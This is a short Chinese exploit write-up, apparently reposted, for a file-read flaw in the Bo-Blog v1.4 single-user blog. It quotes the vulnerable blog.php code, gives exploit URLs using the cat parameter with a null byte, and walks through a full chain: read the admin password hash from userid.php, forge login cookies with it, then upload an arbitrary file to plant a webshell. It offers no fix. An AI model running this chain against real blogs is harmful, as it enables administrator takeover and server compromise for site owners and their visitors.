好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Bo-Blog v1.4单用户版分类列表文件读取漏洞+拿Web

这个是前几天,发现用的这套程序,于是就下了一套研究(坑爹啊,04年的Blog程序现在居然还有人用,不过现在这位同学换了Blog程序,发出来也不怕万人轮了),挖了几个漏洞,这是其中一个,这套程序除了这个漏洞,还有各种XSS(取Cookie直接叼Shell,见下文)、文件包含、配置文件写马、文件读取……

    因为这个系统没有数据库,所以采用的是纯文本格式储存各种数据,留言什么的居然都是直接储存在[*.php]文件中,坑爹啊、这是……,还好过滤做的比较严,不然又直接叼 Shell、。。

By:Nuclear

漏洞名称:

    Bo-Blog v1.4 单用户版分类列表文件读取漏洞 + 拿 WebShell

漏洞文件:

    blog.php

漏洞代码:

if ($job=="showcat") {  //列出某个分类下所有entries if (!file_exists("$dirblog/ $cat .php")) {  wronginfo("没有找到这个分类。"); } unset ($allfiles); $allfiles=@file("$dirblog/ $cat .php");

利用条件:

    Null

漏洞原因:

    在文件[blog.php]中,功能[分类列表]。

    参数[cat=]没有经过任何处理,直接使用[$allfiles=@file("$dirblog/$cat.php");]读文件。

    导致如果提交文件名,那么就会直接读取该文件处理输出。

漏洞测试:

    1、读 index.htm:http://www.2cto.com /blog.php?job=showcat&cat=index.htm%00

漏洞利用:

    1、读 $dirblog/userid.php:http://www.2cto.com /blog.php?job=showcat&cat=userid

    2、读 /diruser/userid.php:http://www.2cto.com /blog.php?job=showcat&cat=diruser/userid

    利用本漏洞可以直接拿 WebShell,步骤如下:

    1、访问: http://www.2cto.com /blog.php?job=showcat&cat=diruser/userid(或:http://www.2cto.com /blog.php?job=showcat&cat=userid,取决于博客配置的路径地址),得到管理密码 Hash 值。

    2、访问: http://www.2cto.com /profile.php,得到管理账号。

    3、由于 这个程序把账号和管理密码Hash值放到Cookies中进行登录验证 ,所以拿到账号和管理密码Hash值就可以直接登陆了,根本不需要 破解 。

    4、修改 Cookies:lastvisit=lastvisit; nowuserid=管理ID; nowuserpassword=管理密码Hash值

    5、刷新页面,已经登陆进去了,然后访问:http://www.2cto.com /mblog_upload.php,可以上传任意文件,拿到 WebShell。

其他信息:

    Null

查看更多关于Bo-Blog v1.4单用户版分类列表文件读取漏洞+拿Web的详细内容...

  阅读:47次